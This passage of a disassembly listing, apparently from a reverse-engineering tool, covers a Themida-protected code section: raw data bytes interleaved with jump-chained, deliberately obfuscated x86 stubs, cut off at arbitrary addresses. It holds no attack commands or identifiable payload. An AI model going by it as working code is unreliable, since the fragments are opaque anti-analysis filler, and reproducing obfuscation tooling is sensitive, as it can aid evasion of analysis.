--------------------------------------------------------------------------- db 0D1h, 0EAh, 0E9h dd 65F8h, 0B8240489h, 0E37FDE56h, 5558C501h, 0E9815D5Eh dd 6850B46h, 749DE9h db 0 ; --------------------------------------------------------------------------- loc_548C39: ; CODE XREF: Themida_:0054DCF9j pop esp or eax, eax jnz loc_549FBC push 1100h jmp loc_545047 ; --------------------------------------------------------------------------- loc_548C4C: ; CODE XREF: Themida_:00544F96j pop esi pop dword ptr [esp] jmp loc_545BDC ; --------------------------------------------------------------------------- loc_548C55: ; CODE XREF: Themida_:005465B0j or edx, eax shl edx, 1 jmp loc_547D4C ; --------------------------------------------------------------------------- dw 1487h dd 24248B24h, 9C240420h, 1326E9h db 0 ; --------------------------------------------------------------------------- loc_548C6D: ; CODE XREF: Themida_:0054B380j push ebp mov ebp, 225B7D4Bh jmp loc_54F1B4 ; --------------------------------------------------------------------------- dd 187BE954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548C7E: ; CODE XREF: Themida_:0054F613j xor [esp], ebp xor ebp, [esp] mov esp, [esp] or eax, eax jnz loc_548EF6 sub esp, 4 mov [esp], ebp push 0DB0265Eh pop ebp shr ebp, 7 push ebp jmp loc_546CBB ; --------------------------------------------------------------------------- db 21h dd 0E6C159CEh, 0FFC68306h, 0F681E6D1h, 4112A8FAh, 0E95EF501h dd 6EABh, 5059B866h, 72DD68h, 24348900h, 4128BE66h, 55D5BD66h dd 0E9F52966h, 5E9Fh, 815AD589h, 0FE72FDF5h, 8EDC165h dd 5086E9h, 28560400h, 59562CE8h, 1FBBE9h db 0 ; --------------------------------------------------------------------------- loc_548CF9: ; CODE XREF: Themida_:0054D512j mov ecx, esp jmp loc_549E2E ; --------------------------------------------------------------------------- dd 0F658C700h, 1DE4E9DFh, 0D8290000h, 8B2434FFh, 0C483241Ch dd 1DE95604h, 81000076h, 0D0D30EF2h, 5AD30148h, 81E38953h dd 4C3h, 4EB8300h, 2474FF53h, 48F5B04h, 4895C24h, 24048124h dd 0A7328BFh, 8124048Bh, 4C4h, 0DEBB5300h, 810B2D6Ch, 45BBE1C3h dd 3FBE56FFh, 8109893Fh, 0C74B6F6h, 2F32E94Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_548D6A: ; CODE XREF: Themida_:00546476j sub esp, 4 jmp loc_54E448 ; --------------------------------------------------------------------------- dw 8168h dd 8900000Fh, 6EBD242Ch, 814DCD0Dh, 2462B8F5h, 5DE80101h dd 0CBE3E953h, 0C681FFFFh, 4, 8704C683h, 815C2434h, 4D3C1EC1h dd 0DB3AE952h, 0BB53FFFFh, 68A90C4Eh, 2414F753h, 14F3815Bh dd 89F76CC3h, 2184E9D9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548DBE: ; CODE XREF: Themida_:0054BA77j add esp, 4 and eax, edi mov edi, [esp] add esp, 4 shr eax, 10h xor eax, ecx push eax push 1373h mov [esp], edx jmp loc_549305 ; --------------------------------------------------------------------------- db 89h dd 6CBD242Ch, 5310B05Dh, 4A74BF57h, 0EF814886h, 7BCB336Ch dd 0B327C781h, 0FB899266h, 0C869E95Fh, 4FB8FFFFh, 522FAA54h dd 0CB57E0BAh, 0E9D0297Eh, 79CDh, 5C240487h, 24048B66h dd 3BFD68h, 242C8900h, 0C581E589h, 4, 4EC81h, 1BE90000h db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_548E37: ; CODE XREF: Themida_:00546CB6j push ebx mov ebx, 2EED506Ch mov edx, ebx pop ebx add ebx, edx pop edx jmp loc_546789 ; --------------------------------------------------------------------------- dd 0D3CAE957h, 3358FFFFh, 34312434h, 24343324h, 0F24248Bh dd 0EC83C8BEh, 24148904h, 0B850E289h, 0F3D7AD2h, 602268h dd 24048900h, 0E92414F7h, 6EF5h, 5AE95258h, 51000001h dd 795FB268h, 0DDC3E92Dh, 0EC83FFFFh, 24348904h, 0F8685552h dd 0E957F065h, 3D05h, 24048B66h, 3493E953h, 0C8000000h dd 0E9E95966h, 83000024h, 1C8904ECh, 285FBB24h, 0FEE92ADDh dd 87FFFFD8h, 0A5E9241Ch db 0D2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548ECB: ; CODE XREF: Themida_:0054C477j mov [esp], ebx mov ebx, 4 add ebp, ebx pop ebx xchg ebp, [esp] mov esp, [esp] jmp loc_544609 ; --------------------------------------------------------------------------- dd offset dword_50AC48+620h align 2 dw 3489h dd 186DBE24h, 0B1E92AB8h db 4Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_548EF3: ; CODE XREF: Themida_:00546CF0j pop edi pop esi pop ebp loc_548EF6: ; CODE XREF: Themida_:00546C18j ; Themida_:00548C89j push ebx mov ebx, 24h add ebx, 69F36F17h add ebx, edi push 6E7Eh jmp loc_549E8D ; --------------------------------------------------------------------------- dw 0DAF7h dd 384DE9h, 0D6E95400h, 5D000057h, 3294E9h, 0B5F58100h dd 811C080Dh, 8D0C2AC1h, 0C850E91Bh, 0C8BFFFFh, 0E0895024h dd 4BD55h, 97E90000h, 5E00004Eh, 5C243C87h, 53F9F766h dd 0A5685B54h, 8900003Ah, 0B9512434h, 4CA14C9h, 5469E9h dd 2434FF00h, 81241C8Bh, 4C4h, 4C48300h, 0FFCFB0E9h, 243C89FFh dd 49596856h, 348B78F7h, 4C48124h, 4E000000h, 495AF681h dd 0F78978F7h, 487E9h, 5EFC100h, 0D7F7DFF7h, 45E9D7F7h dd 56FFFFC6h, 0FFDD9CE9h, 57E0D1FFh, 0FA35E953h, 0B850FFFFh dd 4FA87EDBh, 94E9C721h, 81FFFFEDh, 5D0E2434h, 48B7737h dd 4C48324h, 0D8DAE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548FD2: ; CODE XREF: Themida_:0054E26Dj or ecx, 201A776Dh jmp loc_546753 ; --------------------------------------------------------------------------- db 0B6h, 0EDh, 80h dd 0D6F6F8EEh, 932E9h db 0 ; --------------------------------------------------------------------------- loc_548FE9: ; CODE XREF: Themida_:0054A89Bj mov al, bh pop ebx jmp loc_54E15F ; --------------------------------------------------------------------------- db 81h, 0E1h, 0C8h dd 81055C3Eh, 480204F1h, 59CE0105h, 1D5068h, 243C8900h dd 159AE9h, 1C77FF00h, 0D259669Dh, 0E99C241Ch, 0FFFFB5EDh dd 0E9C0B60Fh, 0FFFFE832h ; --------------------------------------------------------------------------- loc_549024: ; CODE XREF: Themida_:0054CB95j push 1030h mov [esp], edx pop edi pop edx push ebp jmp loc_5506AF ; --------------------------------------------------------------------------- dd 6803CF81h, 0C7817A37h, 8FB79CF3h, 0C7E9FD89h, 81000069h dd 4C4h, 0D5DE900h, 0F7010000h, 1D89E9h db 0 ; --------------------------------------------------------------------------- loc_549059: ; CODE XREF: Themida_:00546F9Aj mov esi, 13DA15A5h xor ebp, esi mov esi, [esp] push ebp jmp loc_5485A0 ; --------------------------------------------------------------------------- db 0F6h, 0DBh, 0FEh dd 60F380C3h, 34FFD800h, 0C4835B24h, 2434FF04h, 8124148Bh dd 4C4h, 0E6895600h, 10CDBF57h, 0EF8176FFh, 0A586730h dd 5667C781h, 0D0E99359h, 52FFFFE0h, 0D188B5B2h, 54E9805Ah dd 39E9C800h, 68FFFFE2h, 1B68h, 0E9241C89h, 696Bh, 4C481h dd 0C5830000h, 242C3302h, 33242C31h, 248B242Ch, 0B30F6624h dd 0E99C2404h, 0FFFFB52Dh, 8073F480h, 0EB80D5F4h, 0E9E328A3h dd 6357h, 24048F5Fh, 241C895Ch, 0BA525B54h, 4, 575AD301h dd 0DE5911BFh, 7CE94726h, 1FFFFE2h, 0FEE95FFEh, 8800004Eh dd 0EB885AD5h, 5AFBE9h db 0 ; --------------------------------------------------------------------------- loc_54911D: ; CODE XREF: Themida_:00546C0Ej mov ebx, eax jmp loc_54491E ; --------------------------------------------------------------------------- dd 0C8B665Ch, 0E9545324h, 1C83h, 0E9CEB753h, 0FFFFB4E4h dd 0E904EEC1h, 0FFFFD87Bh, 1BAh, 71FC6800h, 4890000h, 0E9D08924h dd 0CEFh, 68A8E781h, 0C7811CFAh, 0FB05F75Ch, 0E95FFE89h dd 2EB8h ; --------------------------------------------------------------------------- loc_549168: ; CODE XREF: Themida_:0054C976j inc edx jmp loc_54FCD7 ; --------------------------------------------------------------------------- loc_54916E: ; CODE XREF: Themida_:0054AB6Fj sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebp jmp loc_54ED3A ; --------------------------------------------------------------------------- db 1, 0CDh, 0E9h dd 363Ch ; --------------------------------------------------------------------------- loc_549184: ; CODE XREF: Themida_:00547434j push 226Eh mov [esp], edx mov edx, 49032C48h add [esp+4], edx pop edx jmp loc_550755 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFB469h, 5106E1C1h, 592414F7h, 4A4BE9h db 0 ; --------------------------------------------------------------------------- loc_5491AD: ; CODE XREF: Themida_:0054E16Aj mov [esp], eax jmp loc_547AC8 ; --------------------------------------------------------------------------- db 81h, 6Ch, 24h dd 2F4C2504h, 244C2976h, 1BFCE904h, 4870000h, 24248B24h dd 2424D366h, 44BBE99Ch, 0B6520000h, 53EB8003h, 0C380F300h dd 0B60F5A53h, 48F66C0h, 0B41BE987h, 66ACFFFFh, 1FB35352h dd 0DE2863B6h, 66F0285Bh, 288FE95Ah, 0AD660000h, 3C46866h dd 24148966h, 1414BA66h, 66D00166h, 2915E95Ah db 2 dup(0), 5Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop dword ptr [esp] jmp loc_544609 ; --------------------------------------------------------------------------- dw 248Bh dd 0C896624h, 0B60F6624h, 9C5166C8h, 0FFB3C0E9h, 240C8BFFh dd 14EE68h, 240C8900h, 0C1815954h, 4, 8704E983h, 895C240Ch dd 0CC682434h, 89000020h, 4812424h, 424h, 0C6815E00h, 4 dd 524C68h, 241C8900h, 70C2E9h, 242C8700h, 8924248Bh, 56E9242Ch dd 81000059h, 0DA5339F6h, 0FEEE817Fh, 90A446Fh, 0EC5FE9F2h dd 5D5AFFFFh, 14F8E981h, 0C181592Ah, 64F541FFh, 0E981C129h dd 64F541FFh, 1FC9E9h, 0FFCB0100h, 81592434h, 4C4h, 0E609E900h dd 0C781FFFFh, 4, 4BB53h, 0DF010000h, 243C875Bh, 8F24248Bh dd 665C2404h, 9C240409h, 0FFB310E9h, 3AC381FFh, 5955A117h dd 0FFDBE8E9h db 0FFh ; --------------------------------------------------------------------------- loc_549305: ; CODE XREF: Themida_:00548DDAj mov eax, [esp] push eax push esp mov eax, [esp] jmp loc_54B6D3 ; --------------------------------------------------------------------------- dw 6866h dd 0EFE946F0h, 42000014h, 6FE2C281h, 0D501F05Ah, 0FFE68BE9h dd 4C483FFh, 245AE9h db 0 ; --------------------------------------------------------------------------- loc_549331: ; CODE XREF: Themida_:005506DFj dec edx and edx, 1F1A1AC2h xor edx, 52D67E80h sub edx, 0D6614389h jmp loc_54E870 ; --------------------------------------------------------------------------- db 66h, 31h, 3Ch dd 0B2B7E924h, 0EB81FFFFh, 43696E90h, 7559C381h, 0C3011D3Eh dd 7559EB81h, 0C3811D3Eh, 43696E90h, 3D96EB81h, 505565CEh dd 0C27977B8h, 5CBE922h, 0BB530000h, 0C5B7782h, 0C15BDA89h dd 836806E2h, 89000009h, 21BB241Ch, 0E92CFD43h, 5Bh, 0C60306BBh dd 4EBC140h, 8107E3C1h, 10F9CC3h, 0C3814B71h, 16DF606Eh dd 315BDE01h, 0C2015EF0h, 0EFEA8158h, 179874Eh, 0D195E9C2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5493CA: ; CODE XREF: Themida_:0054AF37j push 2D40h mov [esp], eax push 6C314DA1h mov eax, [esp] push 7A11h mov [esp], ebp mov ebp, esp jmp loc_54CD26 ; --------------------------------------------------------------------------- loc_5493E9: ; CODE XREF: Themida_:00550772j add ecx, eax pop eax jmp loc_54D5FB ; --------------------------------------------------------------------------- loc_5493F1: ; CODE XREF: Themida_:00544A6Fj push ebx jmp loc_549E59 ; --------------------------------------------------------------------------- db 0F7h aSxw db 'шИxw',0 align 2 dw 0C89h dd 0C8B5424h, 4C48324h, 6B685150h, 59729A0Dh, 0FFB33FE9h dd 0E9D3F7FFh, 3368h, 5FF9015Eh, 31240C33h, 46E9240Ch dd 30000000h, 2C32242Ch, 242C3024h, 0E904EC83h, 66CCh dd 0F780CFFEh, 62EF80B1h, 285BFC28h, 350458E7h, 718EE9h dd 5EEC000h, 63E95150h db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54945B: ; CODE XREF: Themida_:0054E45Cj add ebp, ebx push dword ptr [esp] jmp loc_544B0B ; --------------------------------------------------------------------------- db 47h, 81h, 0E7h dd 613764E9h, 0FFD144E9h, 240C33FFh, 2424D25Ch, 0B18BE99Ch dd 1489FFFFh, 535A5424h, 4BBh, 5BDA0100h, 4BF57h, 0C2810000h dd 24383E7Fh, 0EA81FA01h, 24383E7Fh, 2414875Fh, 0FA88E95Ch dd 3C87FFFFh, 0B248E924h, 0E955FFFFh, 0FFFFC02Ch, 0B8240489h dd 2, 8158C689h, 0DD70AAC2h, 81F20166h, 0DD70AAEAh, 14875E66h dd 29665C24h, 0E99C2404h, 0FFFFB129h ; --------------------------------------------------------------------------- loc_5494E0: ; CODE XREF: Themida_:0054EDCBj xor edi, 0BFFFEF0Fh add edx, edi pop edi jmp loc_544ABC ; --------------------------------------------------------------------------- loc_5494EE: ; CODE XREF: Themida_:0054A175j not ecx inc ecx shr ecx, 5 jmp loc_54631F ; --------------------------------------------------------------------------- dd offset dword_4D25A8+0EC0h align 2 dw 0EC81h dd 4, 0F374E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54950A: ; CODE XREF: Themida_:00547793j mov ebp, esp add ebp, 4 jmp loc_54C472 ; --------------------------------------------------------------------------- db 83h dd 0BE5604C4h, 4BBE74F9h, 0C681DEF7h, 798D71BEh, 0F681D6F7h dd 681B013Ch, 33A6E681h, 0C6813DD3h, 0C7FDFDFEh, 85E9F329h dd 5000011h, 7A8E5244h, 1F1FB205h, 57D82914h, 0F4E21BFh dd 57E94F4Dh db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54955B: ; CODE XREF: Themida_:00548BC2j mov ecx, [ebx] pop ebx push 1 jmp loc_54E58B ; --------------------------------------------------------------------------- dd 3304C483h, 10E92404h db 48h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549573: ; CODE XREF: Themida_:00546F55j ; Themida_:0054A99Ej push esi push esp jmp loc_54EBD0 ; --------------------------------------------------------------------------- dw 0C39Dh dd 0FFB088E9h, 4BFFFh, 0BF570000h, 30577585h, 61E1E9h dd 3011BA00h, 0A9E97DA2h, 8300006Ch, 48904ECh, 6243E924h dd 4B90000h, 0E9000000h, 0FFFFB7CDh, 5004E2C1h, 0B126C9B8h dd 5D8F712h, 43F65F7Ah, 2087E9h, 14286800h, 8F540000h dd 57502404h, 1D1FE9h, 18C28100h, 81F665E3h, 6E3844C6h dd 81D6294Fh, 6E3844EEh, 0D685A4Fh, 0FF3F7A7Fh, 0E95B2434h dd 0AA0h ; --------------------------------------------------------------------------- loc_5495F8: ; CODE XREF: Themida_:00548088j add bl, 23h jmp loc_5470C8 ; --------------------------------------------------------------------------- dd 4BFh, 8BFE0100h, 0A668243Ch, 0E9000024h, 6924h, 627AABB9h dd 36E5E96Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54961E: ; CODE XREF: Themida_:0054553Ej push 39DCh jmp loc_54ABC2 ; --------------------------------------------------------------------------- dd 8702C783h, 8FE9243Ch db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549633: ; CODE XREF: Themida_:00546B04j push esi mov esi, 4 add eax, esi pop esi push edi mov edi, 4 sub eax, edi pop edi jmp loc_54B0E1 ; --------------------------------------------------------------------------- dw 103h dd 24148B59h, 6D06E9h, 464BBF00h, 0C781423Ch, 0BDC3B9B9h dd 0FE0C972Dh, 5F80174h, 74FE0C97h, 5F2434FFh, 5704C483h dd 0C781E789h, 4, 4EF81h, 3C870000h, 24248B24h, 0BD242C89h dd 4, 335DE801h, 4312404h, 1790E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54969E: ; CODE XREF: Themida_:0054B17Bj mov ebx, 4 jmp loc_54D295 ; --------------------------------------------------------------------------- dd 81242489h, 42404h, 48F0000h, 0EEE95324h, 81000047h dd 8B24D2F5h, 36A9E938h, 0C6810000h, 0E9E8C3D8h, 835EF101h dd 0FF5104C1h, 59042474h, 8B24048Fh, 34FF2424h, 54515824h dd 9FE95359h, 5C00006Eh, 243C8966h, 552BE9h, 0E9F90100h dd 31A3h, 0C8BCF21h, 4C48124h, 51000000h, 0FA1203B9h, 58C98147h dd 4942A076h, 2D1E941h, 565B0000h, 927C4CBEh, 5EF00168h dd 77B1292Dh, 4817E97Ch, 0DD880000h, 0EB005A5Bh, 240C8B66h dd 0E9E68956h, 1D46h, 4CB226B1h, 0FFF25CE9h, 240C89FFh dd 4B9h, 8BC80100h, 0C483240Ch, 7E1F6804h, 3C890000h, 4BD5524h dd 0E9000000h, 480Fh, 4402C281h, 0C2810851h, 1C25447Ch dd 826C281h, 0D101C90Bh, 5A2434FFh, 5604C483h, 2BEh, 5EF10100h dd 2474FF51h, 48F5904h, 24248B24h, 24048B66h, 12C0E9h dd 0C4835900h, 2434FF04h, 60BEE95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5497B2: ; CODE XREF: Themida_:00544DF6j add ebx, 4 jmp loc_54D341 ; --------------------------------------------------------------------------- loc_5497BA: ; CODE XREF: Themida_:00546264j mov edi, eax pop eax and eax, edi push dword ptr [esp] jmp loc_5499AB ; --------------------------------------------------------------------------- db 33h dd 55E9241Ch, 6600000Ch, 8324048Bh, 3C8904ECh, 24466824h dd 24890000h, 4BD5524h, 81000000h, 33042444h, 11BE156h dd 8104246Ch, 3304246Ch, 5D1BE156h, 4C7815Fh, 68000000h dd 3F4Bh, 55241489h, 0D23485BDh, 28CBE93Fh, 8B5F0000h dd 0C483242Ch, 0E9F98904h, 0FD0h, 0E959CB31h, 3FD8h, 2C8BE801h dd 0CF75E924h, 0CEE9FFFFh, 8BFFFFADh, 0C483242Ch, 5BD88904h dd 0FFEAD7E9h, 5AD308FFh, 72E9CBFEh, 81000027h, 2ECh, 5DBAE900h dd 48F0000h, 113DE924h, 0EBC10000h, 28F38108h, 0E931D40Bh dd 2CB3h, 8B73B2B9h, 0E9C80119h, 0FFFFF36Bh, 82E99C50h dd 8BFFFFADh, 0EC832404h, 24048904h, 0FFDF91E9h, 0AD6FE9FFh dd 0DEF7FFFFh, 5708EEC1h, 37D8E9h, 4B85000h, 81000000h dd 270807E9h, 81C10152h, 270807C1h, 0DFAE952h, 0EB810000h dd 1CFE7324h, 582434FFh, 6D7CE9h db 0 ; --------------------------------------------------------------------------- loc_5498CD: ; CODE XREF: Themida_:00548031j mov eax, 61AF5BD4h mov esi, 61AF5BD8h sub esi, eax mov eax, [esp] add esp, 4 add ecx, esi mov esi, [esp] add esp, 4 xor ecx, [esp] xor [esp], ecx jmp loc_54FC0B ; --------------------------------------------------------------------------- dd 5585450h, 4, 405h, 6F9A6800h, 4890000h, 2474FF24h, 48F5804h dd 0DE95C24h, 53FFFFFDh, 0DE0035B3h, 0FFBA7EE9h, 0E68956FFh dd 4C681h, 0C6830000h, 24348704h, 350AE9h, 332D5800h, 8908FD75h dd 0CA0158C1h, 48DAE9h, 0B5054800h, 0E9599419h, 0FFFFC7C2h dd 8113A168h, 0B9515E3Ch, 7B83492Dh, 0FFE637E9h, 70E981FFh dd 0E9668F5Bh, 6D92h, 0E907EBC1h, 3749h, 27674F68h, 242C8B4Fh dd 81E28952h, 4C2h, 3515E900h, 0C4810000h, 4, 0FFBA02E9h dd 1CBB53FFh, 0E95BD978h, 0FFFFC15Ah, 31E9EA29h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5499AB: ; CODE XREF: Themida_:005497C2j pop edi sub esp, 4 mov [esp], edi jmp loc_54D95A ; --------------------------------------------------------------------------- db 5Bh dd 5C24048Fh, 52241C89h, 0F4B7D3B2h, 685AD730h, 0BE8h dd 0B5240C89h, 92F580F9h, 59E800h, 535153F8h, 0FFBDDBE9h dd 801CB2FFh, 14E97EF2h, 0C1FFFFD5h, 0F18102E9h, 0F30D2DFAh dd 0C8BCF01h, 4C48324h, 49EDE9h, 66B95100h, 811D4700h dd 0AF0669C9h, 6E1C10Bh, 3880C181h, 0E1D1399Eh, 0C181D1F7h dd 0B984113Eh, 2E96E9h, 0C3814B00h, 5C9D9CEDh, 1ED6E9h dd 4EC8300h, 51241489h, 88E78853h, 0EE885BFDh, 3EE5E9h db 0 ; --------------------------------------------------------------------------- loc_549A45: ; CODE XREF: Themida_:0054721Fj push eax mov eax, 3F21082Eh add dword ptr [esp+8], 65AA3D37h sub [esp+8], eax sub dword ptr [esp+8], 65AA3D37h pop eax add [esp+4], edx jmp loc_54D2D4 ; --------------------------------------------------------------------------- loc_549A69: ; CODE XREF: Themida_:0054C522j push edx push eax mov eax, 481D6F52h jmp loc_54C933 ; --------------------------------------------------------------------------- loc_549A75: ; CODE XREF: Themida_:00546058j pop ebx jmp loc_54FC24 ; --------------------------------------------------------------------------- db 0B3h dd 0E981B5F4h, 5772h ; --------------------------------------------------------------------------- loc_549A84: ; CODE XREF: Themida_:005476CEj add esp, 4 add ebp, 2 push 6C17h mov [esp], ebp jmp loc_54FAB9 ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 83000000h, 148704EAh, 34895C24h, 2474FF24h, 10E95E04h db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549AB7: ; CODE XREF: Themida_:0054B7F3j pop ebx or eax, eax jmp loc_54D6AB ; --------------------------------------------------------------------------- db 0F6h dd 43B252D3h, 80DACA80h, 0F28068E2h, 0CE95E93Bh, 4429FFFFh dd 0EEE90424h, 0FF000003h, 5D042474h, 5C24048Fh, 0F66E9F6h dd 6866CCB6h, 8966571Fh, 0CAE9240Ch, 2900003Fh, 6808E9F8h dd 55660000h, 6B24BD66h, 66EA2966h, 0F281665Dh, 57662BEFh dd 49C3E9h db 0 ; --------------------------------------------------------------------------- loc_549B15: ; CODE XREF: Themida_:0055043Bj push esp pop ebp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] jmp loc_54BE4B ; --------------------------------------------------------------------------- db 0F7h, 0DFh, 4Fh dd 7E13BB53h, 0E3C16F98h, 5FB95104h, 0E9815E5Bh, 0FFFFFCE0h dd 4C48158h, 52000000h, 0FFCBBAE9h, 80CFFEFFh, 0FE88C9EFh dd 0BFE6805Bh, 0C0ECCE80h, 0DEF608E6h, 8003E6C0h, 0FE9ADC6h dd 81FFFFCCh, 0F9E33BF2h, 45ED8149h, 0E91A2571h, 14EEh dd 6C44E953h, 6B2D0000h, 2D11C301h, 198B73B2h, 0B2E9F029h dd 8B00001Eh, 5B682424h, 89000043h, 72E9240Ch, 8BFFFFECh dd 13E92434h, 4300002Dh, 6D94F381h, 81533A74h, 322F2404h dd 30E91EEEh, 0BB000028h, 11E979DAh, 0E381D3F7h, 62CA355Eh dd 30C6E381h, 0E6E90BC3h, 68000032h, 527Ah, 68243489h dd 4747h, 83242489h, 8B042404h, 0C4832434h, 86E95704h dd 0FFFFFFF9h, 669D1C77h, 241CD359h, 0A9FFE99Ch, 0D801FFFFh dd 0DC124205h, 0B0E95206h, 51000015h, 3F6262B9h, 0F4E98114h dd 0C1275D2Fh, 0E18103E1h, 155A535Ch, 5EC18141h, 29215F67h dd 0E82959CDh, 63EC685Dh, 2C890000h, 0BE565024h, 437C3815h dd 0BD5EF089h, 909B59FCh, 1AF1E9h db 0 ; --------------------------------------------------------------------------- loc_549C55: ; CODE XREF: Themida_:0054DF40j mov [esp], edi push dword ptr [esp+4] jmp loc_544BD0 ; --------------------------------------------------------------------------- db 81h, 0C5h, 4 dd 51000000h, 274D04B9h, 0EAF2E937h, 0F921FFFFh, 0FFAFD8E9h db 0FFh ; --------------------------------------------------------------------------- loc_549C79: ; CODE XREF: Themida_:00546B69j xor eax, esi xor esi, eax xor eax, esi push 0DBEh mov [esp], ebp push 1 jmp loc_54531D ; --------------------------------------------------------------------------- aZs db 'ZИЁ&',0 dw 5600h dd 5EDCE9h, 0A5685700h, 0E9051353h, 0FFFFEDF1h, 5A66D028h dd 0B758C188h, 77EF80F3h, 0B050CF28h, 0B0B8E92Eh, 0E089FFFFh dd 77BF5755h, 894C4330h, 243C8BFDh, 449068h, 4220E900h dd 0BB0000h, 57000000h, 18330BBFh, 0E546E968h, 8958FFFFh dd 3DE95AD5h, 8BFFFFFBh, 0C483243Ch, 17B9E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549CFA: ; CODE XREF: Themida_:0054A7E8j xchg ebx, [esp] pop esp sub esp, 4 jmp loc_54DECA ; --------------------------------------------------------------------------- dw 405h dd 87000000h, 315C2404h, 0E9DD31EBh, 4DBDh, 50241C8Bh dd 0CDD5E954h, 0CE81FFFFh, 722751EFh, 75D6CE81h, 0CE813B62h dd 67142DF0h, 0F6814Eh, 0E9ACEF1Fh, 13AEh, 4BB53h, 0D9010000h dd 4C1835Bh, 31240C33h, 0C33240Ch, 34FF5C24h, 0EC835824h dd 5BA3E904h, 455E0000h, 95CBA52h, 0D2F73E8Bh, 0EA81DAF7h dd 0C7086C5Bh, 0FFE24CE9h db 0FFh ; --------------------------------------------------------------------------- loc_549D79: ; CODE XREF: Themida_:00545267j mov [esp], ecx mov ecx, 3A166876h jmp loc_546450 ; --------------------------------------------------------------------------- loc_549D86: ; CODE XREF: Themida_:0054D034j sub ebx, eax sub ebx, 3CEA05F7h push esi mov esi, 2DD33724h and esi, 31016EDCh jmp loc_548BBB ; --------------------------------------------------------------------------- db 87h dd 248B2434h, 0CFF6624h, 5AE99C24h, 56FFFFA8h, 0BB535E54h dd 4, 0E95BDE01h, 5732h, 5358C129h, 642EABBBh, 0EB814B78h dd 6AD86C85h, 9E29F381h, 0D92960B7h, 0E9CA015Bh, 0FFFFB534h dd 405h, 24048700h, 0FFCF8CE9h, 5B1DBBFFh, 0DA212E3Eh dd 0FFE46DE9h, 82F781FFh, 1475E64h, 2434FFFAh, 4C4815Fh dd 56000000h, 4A29E9h, 24348700h, 81E3D15Ch, 0F23A8FF3h dd 229AE905h, 74FF0000h, 34FF0424h, 0F3ECE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549E2E: ; CODE XREF: Themida_:00548CFBj add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_548C14 ; --------------------------------------------------------------------------- db 50h dd 1240481h, 8B56117Ch, 3DE92434h, 52000026h, 48AFE9h db 0 ; --------------------------------------------------------------------------- loc_549E59: ; CODE XREF: Themida_:005493F2j push ecx push 7B273451h pop ecx mov ebx, 0FB8609EFh add ebx, ecx mov ecx, [esp] push edx mov edx, esp add edx, 4 push eax jmp loc_547F69 ; --------------------------------------------------------------------------- aHh db ',Hh╣[',0 align 10h dd 0B7241C89h, 0E2895228h, 3EBCE9h db 0 ; --------------------------------------------------------------------------- loc_549E8D: ; CODE XREF: Themida_:00548F09j mov [esp], edx jmp loc_545081 ; --------------------------------------------------------------------------- db 1, 0DDh, 5Bh dd 81E38953h, 4C3h, 4EB8100h, 0E9000000h, 102Dh, 5359CB01h dd 0BBE95B5Fh, 0B8FFFFFDh, 4, 7324C381h, 0C3011CFEh, 0FFF9F5E9h dd 24048BFFh, 4C481h, 32E90000h db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549ED7: ; CODE XREF: Themida_:0054B0E9j mov esi, [esp] add esp, 4 push 191Eh mov [esp], ebx mov ebx, 4 add esi, ebx pop ebx add esi, 4 jmp loc_546767 ; --------------------------------------------------------------------------- dd 2802C483h, 0D3B353D8h, 0F603E3C0h, 73EB80D3h, 0F380CBFEh dd 49604E5h, 4974E9B5h, 8B660000h, 5450240Ch, 0FFABBAE9h dd 81E389FFh, 4C3h, 4EB8300h, 5C241C87h, 53243C89h, 54022F68h dd 73E95B64h, 81000039h, 4ECh, 0D4EFE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549F4A: ; CODE XREF: Themida_:0054F194j mov [esp], ecx mov ecx, 0 push eax mov eax, 652F7F62h and eax, 0F4E7A38h not eax dec eax shl eax, 8 add eax, 2FBA64E7h add ecx, eax mov eax, [esp] add esp, 4 add ecx, edx push edi mov edi, 78C77F98h xor edi, 53941EE4h inc edi push edx mov edx, 60C218DEh sub edx, 6AD53774h add edi, edx pop edx jmp loc_544A4B ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFA671h, 81B65266h, 69F3E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549FA2: ; CODE XREF: Themida_:00545D5Bj pop ebx add esi, 5F5E0648h add ebx, esi mov esi, [esp] add esp, 4 jmp loc_546CAE ; --------------------------------------------------------------------------- loc_549FB6: ; CODE XREF: Themida_:0054DECEj mov edi, [esp] add esp, 4 loc_549FBC: ; CODE XREF: Themida_:00548C3Cj ; Themida_:loc_54D6ABj sub esp, 4 mov [esp], ebx jmp loc_5502D2 ; --------------------------------------------------------------------------- db 59h dd 5B66FD30h, 8009B353h, 0DD2807EDh, 8B07C580h, 0C481241Ch dd 4, 0FFA92CE9h, 4C681FFh, 52000000h, 4EC8351h, 68241C89h dd 476038D5h, 0F3814B5Bh, 69C81CACh, 65D7BA52h, 0D3210301h dd 3B5E9h, 25685B00h, 8900007Eh, 7AE9241Ch, 4F000063h dd 0DFF7DFF7h, 8106E7C1h, 3BF387F7h, 5FFD01C0h, 0ED81D501h 